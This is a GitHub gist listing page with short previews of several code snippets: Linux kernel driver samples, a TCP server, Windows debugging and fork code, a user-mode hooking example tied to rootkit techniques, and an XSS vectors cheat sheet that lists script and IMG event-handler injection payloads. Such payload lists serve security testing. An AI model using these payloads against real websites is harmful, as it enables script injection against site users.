Skip to content

Instantly share code, notes, and snippets.

@jserv
jserv / Makefile
Created August 13, 2021 10:26
Synthesize events for select/poll/epoll (**incomplete***)
MODULENAME := vpoll
obj-m += $(MODULENAME).o
$(MODULENAME)-y += module.o
KERNELDIR ?= /lib/modules/`uname -r`/build
PWD := $(shell pwd)
all:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
gcc -Wall -o user user.c
@jserv
jserv / vwifi.c
Created August 6, 2021 11:58
virtual cfg80211 driver
#include <linux/module.h>
#include <linux/skbuff.h>
#include <net/cfg80211.h>
#include <linux/mutex.h>
#include <linux/workqueue.h>
#define WIPHY_NAME "owl" /* Our WireLess */
#define NDEV_NAME WIPHY_NAME "%d"
@jserv
jserv / simrupt.c
Created August 6, 2021 11:48
A device that simulates interrupts
/* simrupt: A device that simulates interrupts */
#include <linux/cdev.h>
#include <linux/circ_buf.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/kfifo.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/workqueue.h>
@david-hoze
david-hoze / checksum_calculation.md
Last active December 12, 2025 22:20
How to Calculate IP/TCP/UDP Checksum
@aaaddress1
aaaddress1 / Injectable.cpp
Created May 31, 2018 07:23 — forked from anonymous/Injectable.cpp
Simple UserMode Hook Example
#include <windows.h>
#include <stdio.h>
FARPROC fpCreateProcessW;
BYTE bSavedByte;
// Blog Post Here:
// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108
// tasklist | findstr explore.exe
@Gydo194
Gydo194 / Server.cpp
Last active January 6, 2025 09:03
C++ Event driven TCP socket server (multi client, single threaded)
/*
* Server.cpp
*
* EventServer is a simple C++ TCP socket server implementation,
* to serve as an example to anyone who wants to learn it.
* It can interface with the rest of your program using three callback functions.
* - onConnect, which fires when a new client connects. the client's fd is passed.
* - onDisconnect, which fires when a client disconnects. passes fd.
* - onInput, fires when input is received from a client. passes fd and char*
*
@Melonpi
Melonpi / win32-capture-stack-back-trace.cpp
Last active November 19, 2020 10:21 — forked from t-mat/win32-capture-stack-back-trace.cpp
Win32: CaptureStackBackTrace
#define WIN32_LEAN_AND_MEAN
#include "windows.h"
#pragma warning(push)
#pragma warning(disable : 4091)
#include "DbgHelp.h"
#pragma comment(lib, "DbgHelp.lib")
#pragma warning(pop)
void printStack(void)
@kurobeats
kurobeats / xss_vectors.txt
Last active February 18, 2026 13:07
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@Cr4sh
Cr4sh / fork.c
Created March 19, 2016 15:08
fork() for Windows
/*
* fork.c
* Experimental fork() on Windows. Requires NT 6 subsystem or
* newer.
*
* Copyright (c) 2012 William Pitcock <nenolod@dereferenced.org>
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
@enginebai
enginebai / MainActivity.java
Last active July 27, 2021 11:10
Get the current location and display a marker on Google Map.
package com.enginebai.sample;
import android.content.Context;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.support.design.widget.Snackbar;
import android.support.v7.app.AppCompatActivity;